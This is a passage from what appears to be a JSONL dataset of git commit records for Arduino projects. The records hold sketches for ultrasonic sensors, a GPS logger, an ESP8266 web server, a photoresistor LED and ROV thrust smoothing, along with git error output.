Using less than 2 will waist\n * resources and the buffer will be ignored.\n *\/\n if(!ultrasonic.sampleCreate(NUMBER_BUFFERS, BUFFER_SIZE, BUFFER_SIZE,\n BUFFER_SIZE))\n {\n disableSD = true;\n Serial.println(\"Could not allocate memory.\");\n }\n\n \/\/ Give time for settings to take effect before starting the loop.\n delay(100);\n }\n\nvoid loop()\n {\n float cmMsec, inMsec;\n float msStdDev, cmStdDev, inStdDev;\n long microsec = ultrasonic.timing();\n int code = UNKNOWN_ERROR;\n\n if((code = getTemperature()) != SUCCESS)\n {\n Serial.print(\"Could not read temperature, return code: \");\n Serial.println(code);\n }\n\n \/\/ The temperature value must be in Celsius.\n ultrasonic.setTemperature(temp);\n\n cmMsec = ultrasonic.convert(microsec, Ultrasonic::CM);\n inMsec = ultrasonic.convert(microsec, Ultrasonic::IN);\n\n if(count < CYCLES)\n {\n if(disableSD)\n {\n Serial.print(\"CM: \");\n Serial.print(cmMsec);\n Serial.print(\", IN: \");\n Serial.println(inMsec);\n }\n else\n {\n msStdDev = ultrasonic.unbiasedStdDev((float) microsec, BUFFER_01);\n cmStdDev = ultrasonic.unbiasedStdDev(cmMsec, BUFFER_02);\n inStdDev = ultrasonic.unbiasedStdDev(inMsec, BUFFER_03);\n Serial.print(count + 1);\n Serial.print(\") MS: \");\n Serial.print(microsec);\n Serial.print(\", SD: \");\n Serial.print(msStdDev);\n Serial.print(\", CM: \");\n Serial.print(cmMsec);\n Serial.print(\", SD: \");\n Serial.print(cmStdDev, 2);\n Serial.print(\", IN: \");\n Serial.print(inMsec);\n Serial.print(\", SD: \");\n Serial.print(inStdDev, 2);\n Serial.print(\", C: \");\n Serial.println(temp);\n }\n\n count++;\n }\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/UltrasonicTemp\/UltrasonicTemp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54f3ed970919705a7c3bb11583733ec5f5b47f3a","subject":"test branch gestart","message":"test branch gestart\n","repos":"ccmteamap\/robot,ccmteamap\/robot","old_file":"DRIVING\/src\/master\/master.ino","new_file":"DRIVING\/src\/master\/master.ino","new_contents":"#include<math.h>\n\n#define SIBLINGDISTANCE 4.7 \/\/afstand tussen sensoren zelfde zijde.\n#define TWINDISTANCE 60.0 \/\/afstand tussen sensoren weerszijden.\n\n#define S1TRIGGER 12\n#define S1ECHO 13\n#define S2TRIGGER 0\n#define S2ECHO 1\n\nvoid setup(){\n Serial.begin(9600);\n\n pinMode(S1TRIGGER, OUTPUT);\n pinMode(S2TRIGGER, OUTPUT);\n pinMode(S1ECHO, INPUT);\n pinMode(S2ECHO, INPUT);\n\n Serial.println(\"einde setup\");\n}\n\nvoid loop(){\n pulse(S1TRIGGER, 20);\n long frontDist = pulseIn(S1ECHO, HIGH);\n delay(10);\n pulse(S2TRIGGER, 20);\n long backDist = pulseIn(S2ECHO, HIGH);\n\n \/\/Serial.println(frontDist);\n\n printDist(\"First: \", frontDist \/ 58.0);\n printDist(\"Second: \", backDist \/ 58.0);\n Serial.println(\" \");\n float test = calcDeviation(frontDist \/ 58.0, backDist \/ 58.0);\n printDist(\"Deviation in rad: \", test);\n \/\/printDist(\"test \", calcDeviation(75.0, 50.0));\n\n Serial.print(\"++++++++++++++++++++++++++++++++\");\n Serial.println(\" \");\n delay(2000);\n}\n\n\/\/geeft terug, in radialen, hoeveel de robot gedraaid is ten opzichte van de rechte lijn hij moet volgen.\nfloat calcDeviation(float distFront, float distBack){\n float opposite = distFront - distBack;\n float adjacent = SIBLINGDISTANCE;\n float ratio = opposite \/ adjacent;\n\n return atan(ratio);\n}\n\nvoid pulse(int outputPin, int duration){\n digitalWrite(outputPin, HIGH);\n delayMicroseconds(duration);\n digitalWrite(outputPin, LOW);\n}\n\nvoid printDist(char* message, float dist){\n Serial.print(message);\n Serial.println(dist);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DRIVING\/src\/master\/master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"de16aaaf0afafcc3339129db91f9df6df582008e","subject":"Create test.ino","message":"Create test.ino","repos":"fluuffy\/Hazelnut-Mocha","old_file":"Webclient-Update\/src\/test.ino","new_file":"Webclient-Update\/src\/test.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\nconst char* ssid = \"***********\";\nconst char* password = \"***********\";\n\n\/\/const char* host = \"www.adafruit.com\";\nESP8266WebServer server(80);\nString webString=\"\";\nvoid handle_root() {\n server.send(200, \"text\/plain\", \"Hello from the otter side\");\n delay(100);\n}\nvoid setup() {\n Serial.begin(115200);\n delay(100);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n server.on(\"\/\", handle_root);\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n server.begin();\n}\n\nint value = 0;\n\nvoid loop() {\n server.handleClient();\n }\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Webclient-Update\/src\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9522adb3208c13f972777317b437c3e3d55ca600","subject":"Micros to Millis. Whoops!","message":"Micros to Millis. Whoops!\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"7858e8029fa53c5467152705f6a6a18607629695","subject":"Changed executeSetProgram() to configure the pins after creating the program. Commented hack in setup()","message":"Changed executeSetProgram() to configure the pins after creating the program. Commented hack in setup()\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a98a3f7f728b6f35f284075b447db0c648b24b97","subject":"comienzo rreglo bool int","message":"comienzo rreglo bool int\n","repos":"eariassoto\/RFModuloArduino","old_file":"transmisor\/transmisor.ino","new_file":"transmisor\/transmisor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/eariassoto\/RFModuloArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5ed36e77c3ee4214baec13e36aca563b3712a5e3","subject":"add sending data after touch the furthest obstacle; improve with isWithWall function to check current pos","message":"add sending data after touch the furthest obstacle; improve with isWithWall function to check current pos\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86add6826dea33fdeac0a90ca36f461a24d2391c","subject":"Using Adafruit's shield_sdlog example","message":"Using Adafruit's shield_sdlog example\n","repos":"javierfdezg\/telemetry-unit,javierfdezg\/telemetry-unit","old_file":"telemetryUnit.ino","new_file":"telemetryUnit.ino","new_contents":"#include <SPI.h>\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n#include <SD.h>\n#include <avr\/sleep.h>\n\n\/\/ Ladyada's logger modified by Bill Greiman to use the SdFat library\n\/\/\n\/\/ This code shows how to listen to the GPS module in an interrupt\n\/\/ which allows the program to have more 'freedom' - just parse\n\/\/ when a new NMEA sentence is available! Then access data when\n\/\/ desired.\n\/\/\n\/\/ Tested and works great with the Adafruit Ultimate GPS Shield\n\/\/ using MTK33x9 chipset\n\/\/ ------> http:\/\/www.adafruit.com\/products\/\n\/\/ Pick one up today at the Adafruit electronics shop \n\/\/ and help support open source hardware & software! -ada\n\/\/ Fllybob added 10 sec logging option\nSoftwareSerial mySerial(8, 7);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n#define GPSECHO true\n\/* set to true to only log to SD when GPS has a fix, for debugging, keep it false *\/\n#define LOG_FIXONLY false \n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\n\/\/ Set the pins used\n#define chipSelect 10\n#define ledPin 13\n\nFile logfile;\n\n\/\/ read a Hex value and return the decimal equivalent\nuint8_t parseHex(char c) {\n if (c < '0')\n return 0;\n if (c <= '9')\n return c - '0';\n if (c < 'A')\n return 0;\n if (c <= 'F')\n return (c - 'A')+10;\n}\n\n\/\/ blink out an error code\nvoid error(uint8_t errno) {\n \/*\n if (SD.errorCode()) {\n putstring(\"SD error: \");\n Serial.print(card.errorCode(), HEX);\n Serial.print(',');\n Serial.println(card.errorData(), HEX);\n }\n *\/\n while(1) {\n uint8_t i;\n for (i=0; i<errno; i++) {\n digitalWrite(ledPin, HIGH);\n delay(100);\n digitalWrite(ledPin, LOW);\n delay(100);\n }\n for (i=errno; i<10; i++) {\n delay(200);\n }\n }\n}\n\nvoid setup() {\n \/\/ for Leonardos, if you want to debug SD issues, uncomment this line\n \/\/ to see serial output\n \/\/while (!Serial);\n\n \/\/ connect at 115200 so we can read the GPS fast enough and echo without dropping chars\n \/\/ also spit it out\n Serial.begin(115200);\n Serial.println(\"\\r\\nUltimate GPSlogger Shield\");\n pinMode(ledPin, OUTPUT);\n\n \/\/ make sure that the default chip select pin is set to\n \/\/ output, even if you don't use it:\n pinMode(10, OUTPUT);\n\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect, 11, 12, 13)) {\n \/\/if (!SD.begin(chipSelect)) { \/\/ if you're using an UNO, you can use this line instead\n Serial.println(\"Card init. failed!\");\n error(2);\n }\n char filename[15];\n strcpy(filename, \"GPSLOG00.TXT\");\n for (uint8_t i = 0; i < 100; i++) {\n filename[6] = '0' + i\/10;\n filename[7] = '0' + i%10;\n \/\/ create if does not exist, do not open existing, write, sync after write\n if (! SD.exists(filename)) {\n break;\n }\n }\n\n logfile = SD.open(filename, FILE_WRITE);\n if( ! logfile ) {\n Serial.print(\"Couldnt create \"); \n Serial.println(filename);\n error(3);\n }\n Serial.print(\"Writing to \"); \n Serial.println(filename);\n\n \/\/ connect to the GPS at the desired rate\n GPS.begin(9600);\n\n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For logging data, we don't suggest using anything but either RMC only or RMC+GGA\n \/\/ to keep the log files at a reasonable size\n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 100 millihertz (once every 10 seconds), 1Hz or 5Hz update rate\n\n \/\/ Turn off updates on antenna status, if the firmware permits it\n GPS.sendCommand(PGCMD_NOANTENNA);\n\n \/\/ the nice thing about this code is you can have a timer0 interrupt go off\n \/\/ every 1 millisecond, and read data from the GPS for you. that makes the\n \/\/ loop code a heck of a lot easier!\n useInterrupt(true);\n\n Serial.println(\"Ready!\");\n}\n\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores it\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n #ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n \/\/ writing direct to UDR0 is much much faster than Serial.print \n \/\/ but only one character can be written at a time. \n #endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } \n else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nvoid loop() {\n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if (GPSECHO)\n if (c) Serial.print(c);\n }\n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences! \n \/\/ so be very wary if using OUTPUT_ALLDATA and trying to print out data\n \n \/\/ Don't call lastNMEA more than once between parse calls! Calling lastNMEA \n \/\/ will clear the received flag and can cause very subtle race conditions if\n \/\/ new data comes in before parse is called again.\n char *stringptr = GPS.lastNMEA();\n \n if (!GPS.parse(stringptr)) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n\n \/\/ Sentence parsed! \n Serial.println(\"OK\");\n if (LOG_FIXONLY && !GPS.fix) {\n Serial.print(\"No Fix\");\n return;\n }\n\n \/\/ Rad. lets log it!\n Serial.println(\"Log\");\n\n uint8_t stringsize = strlen(stringptr);\n if (stringsize != logfile.write((uint8_t *)stringptr, stringsize)) \/\/write the string to the SD file\n error(4);\n if (strstr(stringptr, \"RMC\") || strstr(stringptr, \"GGA\")) logfile.flush();\n Serial.println();\n }\n}\n\n\n\/* End code *\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'telemetryUnit.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"3a020867bba1960c7507069bf0bb5cd4ba87029a","subject":"It's working! Had to correct many of my int->long->int typecasting because I did them wrong. Updated circuit diagram. Fixed pin fight between LCD and external ISR (external ISR won). Reduced stats hunger from 100 to 3. Added motor calculations and setup #defines for measurements. Fixed call to get_mV_from_adc() to what it actually needs. Made emf function dumber until I get smarter. Added 2X scaling in adc measurements to account for 2:1 voltage dividers. ... And probably some other things.","message":"It's working! Had to correct many of my int->long->int typecasting because I did them wrong. Updated circuit diagram. Fixed pin fight between LCD and external ISR (external ISR won). Reduced stats hunger from 100 to 3. Added motor calculations and setup #defines for measurements. Fixed call to get_mV_from_adc() to what it actually needs. Made emf function dumber until I get smarter. Added 2X scaling in adc measurements to account for 2:1 voltage dividers. ... And probably some other things.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"121aea27112d55e398a711b9dc465538158ad49a","subject":"add led array example","message":"add led array example\n","repos":"borq79\/Cary-Area-Public-Library-Classes","old_file":"photoresistors\/pcb_photoresistor_led_array_example\/pcb_photoresistor_led_array_example.ino","new_file":"photoresistors\/pcb_photoresistor_led_array_example\/pcb_photoresistor_led_array_example.ino","new_contents":"\n\/\/ Analog Pin 0 is what is used to read the voltage levels from the analog pin of the PCB. \n\/\/ Possible values are 0 - 1023 where 0 is the brightest and 1023 is the darkest\n#define SENSOR_ANALONG_PIN 0\n\n\/\/ Digital Pin used to read the digital output (dark = 0, not-dark = 1) from the PCB.\n#define SENSOR_DIGITAL_PIN 8\n\n\/\/ We will drive pin 9 based on the input from the photoresitor. When using the analog\n\/\/ output from the PCB, drive the pin as a PWM so that reflects the brightness of the\n\/\/ room. When using the digital output of the PCB, drive pin 9 high or low depending\n\/\/ to turn the LED on or off - acts as a 'trip sensor'\n#define LED_PWM_PIN 9\n\nvoid setup() {\n \/\/ Init the serial communications for debugging messages\n Serial.begin(9600);\n \n \/\/ Make the digital pin an input so we can read the values from the PCB D0 output\n pinMode(SENSOR_DIGITAL_PIN, INPUT);\n \n \/\/ Make the PWM pin output so we can drive the LED\n pinMode(LED_PWM_PIN, OUTPUT);\n}\n\nvoid loop() {\n \/\/ *** Uncomment this line if the data line runs from A0 on the PCB to A0 on the Arduino\n \/\/analogSensorPin();\n \n \/\/ *** Uncomment this line if the data line runs from D0 on the PCB to pin 8 of the Arduino\n \/\/digitalSensorPin();\n \n \/\/ Add this delay so the output is trottled to something reasonable\n delay(1000);\n}\n\nvoid analogSensorPin() {\n \/\/ Read the value on the Analog pin - represents the value from the photoresistor PCB. Values are\n \/\/ 0 (bright) to 1023 (dark)\n int analogVal = analogRead(SENSOR_ANALONG_PIN);\n \n \/\/ The PWM is 0-255, where 255 is 100% duty cycle and 0 is 0% duty cycle. To dim the LED when the\n \/\/ photoresitor has the highest resistence (brightest) first divide by 4 (1024 scale to 256 scale)\n \/\/ and then subtract that value from 255 (highest value) to convert from the photoresistor scale\n \/\/ to the LED scale (0 is the brightest on the photoresistor, but 255 is brightest for the LED).\n analogWrite(LED_PWM_PIN, 255 - (analogVal \/ 4));\n \n Serial.println(analogVal); \n}\n \nvoid digitalSensorPin() {\n \/\/ This pin will either be on or off (1 or 0). You can adjust the screw on the PCB to adjust when the line is driven high or low.\n int digitalVal = digitalRead(SENSOR_DIGITAL_PIN);\n \n \/\/ Write the respective value to the digital Arudino pin to turn the LED on or off \n digitalWrite(LED_PWM_PIN, digitalVal);\n \n Serial.println(digitalVal); \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photoresistors\/pcb_photoresistor_led_array_example\/pcb_photoresistor_led_array_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e0bf389b94b6f7829fda11a3a836226a0888b1c","subject":"added forward command","message":"added forward command\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fa413532f0e0dd146ec463996263373c12f8ef8b","subject":"Changed thrust smoothing code to instantly drop to target thrust when that is a reduction in power.","message":"Changed thrust smoothing code to instantly drop to target thrust when that is a reduction in power.\n","repos":"spiderkeys\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,OpenROV\/openrov-software-arduino,binary42\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,OpenROV\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,OpenROV\/openrov-software-arduino,binary42\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,johan--\/openrov-software-arduino,johan--\/openrov-software-arduino,dieface\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,dieface\/openrov-software-arduino","old_file":"OpenROV\/OpenROV.ino","new_file":"OpenROV\/OpenROV.ino","new_contents":"#include <Servo.h>\n#include <Arduino.h>\n#include \"Motors.h\"\n#include \"Command.h\"\n#include \"Device.h\"\n#include \"Timer.h\"\n#include \"FreeMem.h\"\n\n\nMotors motors(9, 10, 11);\nCommand cmd;\nDevice vout(\"vout\", 0, vout.analog, vout.in);\nDevice iout(\"iout\", 3, iout.analog, iout.in);\nDevice light(\"light\", 5, light.analog, light.out);\nTimer time;\nTimer statustime;\nTimer controltime;\n\nServo tilt;\n\/\/ IMPORTANT!\n\/\/ array[0] will be the number of arguments in the command\nint array[MAX_ARGS];\n\n\/\/ Define the number of samples to keep track of. The higher the number,\n\/\/ the more the readings will be smoothed, but the slower the output will\n\/\/ respond to the input. Using a constant rather than a normal variable lets\n\/\/ use this value to determine the size of the readings array.\nconst int numReadings = 30;\n\nint readings[numReadings]; \/\/ the readings from the analog input\nint index = 0; \/\/ the index of the current reading\nint total = 0; \/\/ the running total\nint average = 0; \/\/ the average\nint new_tilt = MIDPOINT;\nint new_p = MIDPOINT;\nint new_s = MIDPOINT;\nint new_v = MIDPOINT;\nint tilt_val = MIDPOINT;\nint p = MIDPOINT;\nint v = MIDPOINT;\nint s = MIDPOINT;\nint smoothingIncriment = 5; \/\/How aggressive the throttle changes\nvoid setup(){\n\n Serial.begin(115200);\n\n pinMode(13, OUTPUT);\n \n tilt.attach(3);\n \n motors.reset();\n \n time.reset();\n statustime.reset();\n controltime.reset();\n\n\/\/ initialize all the readings to 0: \n for (int thisReading = 0; thisReading < numReadings; thisReading++)\n readings[thisReading] = 0; \n}\n\nint smoothAdjustedServoPosition(int target, int current){\n \/\/ if the MIDPOINT is betwen the change requested in velocity we want to go to MIDPOINT first, and right away.\n if (((current < MIDPOINT) && (MIDPOINT < target)) || ((target < MIDPOINT) && (MIDPOINT < current))){\n return MIDPOINT;\n }\n \/\/ if the change is moving us closer to MIDPOINT it is a reduction of power and we can move all the way to the target\n \/\/ in one command\n if (abs(MIDPOINT-target) < abs(MIDPOINT-current)){\n return target;\n }\n \/\/ else, we need to smooth out amp spikes by making a series of incrimental changes in the motors, so only move part of\n \/\/ the way to the target this time.\n double x = target - current;\n int sign = (x>0) - (x<0);\n return(current + sign * (min(abs(target - current), smoothingIncriment)));\n}\n\nvoid loop(){\n \n if (Serial.available()) {\n \/\/ blocks output data... TODO: need a way of calculating frequency for device data\n delay(30);\n \/\/ Get command from serial buffer\n cmd.get();\n\n \/\/ do something with the command, what command is it?\n if (cmd.cmp(\"tilt\")) {\n cmd.parse(array);\n tilt_val = array[1];\n }\n else if (cmd.cmp(\"go\")) {\n cmd.parse(array);\n p = array[1];\n v = array[2];\n s = array[3];\n }\n else if (cmd.cmp(\"light\")) {\n cmd.parse(array);\n int value = array[1];\n light.write(value);\n }\n else if (cmd.cmp(\"start\")) {\n motors.reset();\n } \n else if (cmd.cmp(\"stop\")) {\n motors.stop();\n }\n else {\n motors.stop(); \n }\n }\n\n \/\/to reduce AMP spikes, smooth large power adjustments out. This incirmentally adjusts the motors and servo\n \/\/to their new positions in increments. The incriment should eventually be adjustable from the cockpit so that\n \/\/the pilot could have more aggressive response profiles for the ROV.\n if (controltime.elapsed (50)) {\n new_p = smoothAdjustedServoPosition(p,new_p);\n new_v = smoothAdjustedServoPosition(v,new_v);\n new_s = smoothAdjustedServoPosition(s,new_s);\n new_tilt = smoothAdjustedServoPosition(tilt_val,new_tilt);\n tilt.writeMicroseconds(new_tilt);\n motors.go(new_p, new_v, new_s);\n }\n\n if (time.elapsed (100)) {\n \/\/ subtract the last reading:\n total= total - readings[index]; \n \/\/ read from the sensor: \n readings[index] = iout.read();\n delay(1); \n \/\/ add the reading to the total:\n total= total + readings[index]; \n \/\/ advance to the next position in the array: \n index = index + 1; \n\n \/\/ if we're at the end of the array...\n if (index >= numReadings) \n \/\/ ...wrap around to the beginning: \n index = 0; \n\n \/\/ calculate the average:\n average = total \/ numReadings;\n } \n\n \/\/ send voltage and current\n if (statustime.elapsed(1000)) {\n vout.send(vout.read());\n iout.send(average);\n Serial.print(\"fmem:\");\n Serial.print(freeMemory());\n Serial.print(\";\");\n Serial.print(\"motors:\");\n Serial.print(new_p);\n Serial.print(\",\");\n Serial.print(new_v);\n Serial.print(\",\");\n Serial.print(new_s);\n Serial.print(\";\");\n Serial.print(\"mtarg:\");\n Serial.print(p);\n Serial.print(\",\");\n Serial.print(v);\n Serial.print(\",\");\n Serial.print(s);\n Serial.print(\";\");\n Serial.print(\"servo:\");\n Serial.print(new_tilt);\n Serial.print(\";\");\n Serial.print(\"starg:\");\n Serial.print(tilt_val);\n Serial.print(\";\");\n Serial.print(\"ver:\");\n \/\/Version Number of last change from UTC date: .YYYYMMDDHHMMSS. If you make a change between this and the cockpit that requires the firmware to be in sync or it breaks the system your should update this version number\n \/\/ and update the cockpit software lib\/OpenROVControler.js to check and ensure the firmware is at this version.\n Serial.print(\".20130314034900\");\n Serial.print(\";\");\n Serial.print(\"time:\");\n Serial.println(millis());\n }\n\n}\n","old_contents":"#include <Servo.h>\n#include <Arduino.h>\n#include \"Motors.h\"\n#include \"Command.h\"\n#include \"Device.h\"\n#include \"Timer.h\"\n#include \"FreeMem.h\"\n\n\nMotors motors(9, 10, 11);\nCommand cmd;\nDevice vout(\"vout\", 0, vout.analog, vout.in);\nDevice iout(\"iout\", 3, iout.analog, iout.in);\nDevice light(\"light\", 5, light.analog, light.out);\nTimer time;\nTimer statustime;\nTimer controltime;\n\nServo tilt;\n\/\/ IMPORTANT!\n\/\/ array[0] will be the number of arguments in the command\nint array[MAX_ARGS];\n\n\/\/ Define the number of samples to keep track of. The higher the number,\n\/\/ the more the readings will be smoothed, but the slower the output will\n\/\/ respond to the input. Using a constant rather than a normal variable lets\n\/\/ use this value to determine the size of the readings array.\nconst int numReadings = 30;\n\nint readings[numReadings]; \/\/ the readings from the analog input\nint index = 0; \/\/ the index of the current reading\nint total = 0; \/\/ the running total\nint average = 0; \/\/ the average\nint new_tilt = MIDPOINT;\nint new_p = MIDPOINT;\nint new_s = MIDPOINT;\nint new_v = MIDPOINT;\nint tilt_val = MIDPOINT;\nint p = MIDPOINT;\nint v = MIDPOINT;\nint s = MIDPOINT;\nint smoothingIncriment = 5; \/\/How aggressive the throttle changes\nvoid setup(){\n\n Serial.begin(115200);\n\n pinMode(13, OUTPUT);\n \n tilt.attach(3);\n \n motors.reset();\n \n time.reset();\n statustime.reset();\n controltime.reset();\n\n\/\/ initialize all the readings to 0: \n for (int thisReading = 0; thisReading < numReadings; thisReading++)\n readings[thisReading] = 0; \n}\n\nvoid loop(){\n \n if (Serial.available()) {\n \/\/ blocks output data... TODO: need a way of calculating frequency for device data\n delay(30);\n \/\/ Get command from serial buffer\n cmd.get();\n\n \/\/ do something with the command, what command is it?\n if (cmd.cmp(\"tilt\")) {\n cmd.parse(array);\n tilt_val = array[1];\n }\n else if (cmd.cmp(\"go\")) {\n cmd.parse(array);\n p = array[1];\n v = array[2];\n s = array[3];\n }\n else if (cmd.cmp(\"light\")) {\n cmd.parse(array);\n int value = array[1];\n light.write(value);\n }\n else if (cmd.cmp(\"start\")) {\n motors.reset();\n } \n else if (cmd.cmp(\"stop\")) {\n motors.stop();\n }\n else {\n motors.stop(); \n }\n }\n\n \/\/to reduce AMP spikes, smooth large power adjustments out. This incirmentally adjusts the motors and servo\n \/\/to their new positions in increments. The incriment should eventually be adjustable from the cockpit so that\n \/\/the pilot could have more aggressive response profiles for the ROV.\n if (controltime.elapsed (50)) {\n if (p<new_p) new_p -= min(smoothingIncriment,new_p-p); \n if (p>new_p) new_p += min(smoothingIncriment,p-new_p);\n if (v<new_v) new_v -= min(smoothingIncriment,new_v-v);\n if (v>new_v) new_v += min(smoothingIncriment,v-new_v);\n if (s<new_s) new_s -= min(smoothingIncriment,new_s-s);\n if (s>new_s) new_s += min(smoothingIncriment,s-new_s);\n if (tilt_val<new_tilt) new_tilt -= min(smoothingIncriment,new_tilt-tilt_val);\n if (tilt_val>new_tilt) new_tilt += min(smoothingIncriment,tilt_val-new_tilt);\n tilt.writeMicroseconds(new_tilt);\n motors.go(new_p, new_v, new_s);\n }\n\n if (time.elapsed (100)) {\n \/\/ subtract the last reading:\n total= total - readings[index]; \n \/\/ read from the sensor: \n readings[index] = iout.read();\n delay(1); \n \/\/ add the reading to the total:\n total= total + readings[index]; \n \/\/ advance to the next position in the array: \n index = index + 1; \n\n \/\/ if we're at the end of the array...\n if (index >= numReadings) \n \/\/ ...wrap around to the beginning: \n index = 0; \n\n \/\/ calculate the average:\n average = total \/ numReadings;\n } \n\n \/\/ send voltage and current\n if (statustime.elapsed(1000)) {\n vout.send(vout.read());\n iout.send(average);\n Serial.print(\"fmem:\");\n Serial.print(freeMemory());\n Serial.print(\";\");\n Serial.print(\"motors:\");\n Serial.print(new_p);\n Serial.print(\",\");\n Serial.print(new_v);\n Serial.print(\",\");\n Serial.print(new_s);\n Serial.print(\";\");\n Serial.print(\"mtarg:\");\n Serial.print(p);\n Serial.print(\",\");\n Serial.print(v);\n Serial.print(\",\");\n Serial.print(s);\n Serial.print(\";\");\n Serial.print(\"servo:\");\n Serial.print(new_tilt);\n Serial.print(\";\");\n Serial.print(\"starg:\");\n Serial.print(tilt_val);\n Serial.print(\";\");\n Serial.print(\"ver:\");\n \/\/Version Number of last change from UTC date: 